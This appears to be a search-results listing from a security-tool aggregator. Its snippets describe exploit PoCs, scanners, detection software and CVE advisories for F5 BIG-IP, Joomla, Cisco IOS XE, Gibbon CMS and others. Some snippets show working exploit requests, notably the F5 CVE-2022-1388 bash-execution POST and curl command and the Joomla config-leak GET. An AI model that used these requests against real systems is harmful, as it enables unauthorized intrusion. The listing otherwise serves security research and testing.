52959 matches found
umap
umap - the USB host security assessment tool Based on Facedancer by Travis Goodspeed: http://goodfet.sourceforge.net/hardware/facedancer21/ Released as open source by NCC Group Plc - http://www.nccgroup.com/ Developed by Andy Davis, andy dot davis at nccgroup dot com...
CVE-2022-1388_PoC
F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ ...
CVE-2025-57389
CVE-2025-57389 - Reflected XSS in OpenWRT 18.06.2 Description A reflected cross-site scripting XSS vulnerability was identified in EOL Luci OpenWRT v18.06.2 on /cgi-bin/luci/admin/system/packages endpoint. Proof of Concept 1. While proxying the traffic to Burp, navigate to...
ADCSDevilCOM
ADCSDevilCOM A C tool for requesting certificates from ADCS using DCOM over SMB. This tool allows you to remotely request X.509 certificates from CA server using the MS-WCCE protocol over DCOM and It bypasses the traditional endpoint mapper requirement by using SMB directly. !WARNING Use only in...
FalconEye
FalconEye: Real-time detection software for Windows process injections FalconEye is a windows endpoint detection software for real-time process injections. It is a kernel-mode driver that aims to catch process injections as they are happening real-time. Since FalconEye runs in kernel mode, it...
CVE-2023-2732
CVE-2023-2732 MStore API = 3.9.2 - Authentication Bypass https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mstore-api/mstore-api-392-authentication-bypass Description The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including...
STEWS
STEWS: Security Testing and Enumeration of WebSockets STEWS is a tool suite for security testing of WebSockets This research was first presented at OWASP Global AppSec US 2021 Features STEWS provides the ability to: Discover : find WebSockets endpoints on the web by testing a list of domains...
PQC-Scanner
The PQC Network Scanner is a purpose‑built assessment tool designed to help organisations understand their cryptographic exposure as they transition toward a post‑quantum security posture. Unlike traditional TLS scanners that focus solely on certificate validity or classical cryptographic strengt...
CVE-2026-105389
The feelec-yishu feelcrm-os version 1.0.0 is vulnerable to an unrestricted upload vulnerability within the UploadTicketFile Endpoint . The issue stems from unknown processing in the file App/Feelcrm/Crm/Controller/UploadController.class.php , where manipulation of the cmd argument allows for remo...
EUVD-2026-92774
A security vulnerability has been detected in feelec-yishu feelcrm-os 1.0.0. This issue affects some unknown processing of the file App/Feelcrm/Crm/Controller/UploadController.class.php of the component UploadTicketFile Endpoint. Such manipulation of the argument cmd leads to unrestricted upload...
ThunderCloud
ThunderCloud Cloud Exploit Framework Usage python3 tc.py -h | | | | | / | | | | | | | | | | | | | | | | | | | ' | | | | ' \ / |/ \ '| | | |/ | | | |/ | | | | | | | || | | | | | | / | | || | | || | | | / || ||,|| ||,||| ||/ ,|,| usage: tc.py -h -ce COGNITOENDPOINT -reg REGION -accid...
CVE-2023-45878
Gibbon CMS CVE-2023-45878 Exploit This Python script exploits CVE-2023-45878, an unauthenticated arbitrary file upload vulnerability in Gibbon CMS versions 25.0.1 and before, leading to Remote Code Execution RCE. Vulnerability Description CVE-2023-45878 exists in the rubricsvisualisesaveAjax.php...
CVE-2021-21972
CVE-2021-21972 checker VMware vCenter Server CVE-2021-21972 Remote Code Execution Vulnerability This script looks the existence of CVE-2021-21972 based on the following PATH "/ui/vropspluginui/rest/services/uploadova" trough a POST request and looking in response body 500 the words...
CVE-2026-105388
A SQL injection vulnerability exists in feelec-yishu feelcrm-os version 1.0.0 . The flaw is located in the index function of the App/Feelcrm/Index/Controller/MemberController.class.php file within the Member Endpoint component. Improper handling of the group_id argument allows an attacker to perf...
EUVD-2026-92765
A weakness has been identified in feelec-yishu feelcrm-os 1.0.0. This vulnerability affects the function index of the file App/Feelcrm/Index/Controller/MemberController.class.php of the component Member Endpoint. This manipulation of the argument groupid causes sql injection. The attack can be...
CVE-2023-20198
CVE-2023-20198 An Exploitation script developed to exploit the CVE-2023-20198 Cisco zero day vulnerability on their IOS XE Hackers have been widely exploiting the this vulnerability which creates a 15 level privilege user by bypassing the authentication Which a malicous xml content make this...
endext
EndExt EndExt is a .go tool for extracting all the possible endpoints from the JS files Idea When you crawll all the JS files from waybackruls for example, or even collecting the JS files urls from your target website's home source page .. If the website was using API system and you wanna look fo...
warf
WARF: Web Application Reconnaissance Framework Try WARF Username: demo Password: demopass ⚠️ Since Heroku apps run in a lightweight container called dynos, so any changes to the filesystem while the dyno is running only last until that dyno is shut down or restarted. This operation causes the save...
CVE-2023-23752
CVE-2023-23752 Exploit for CVE-2023-23752 4.0.0 GET /api/index.php/v1/config/application?public=true HTTP/1.1 Host: 10.9.49.205 User-Agent: curl/7.68.0 Accept: / Mark bundle as not supporting multiuse HTTP/1.1 200 OK Date: Mon, 20 Mar 2023 15:14:05 GMT Server: Apache/2.4.41 Ubuntu x-frame-options...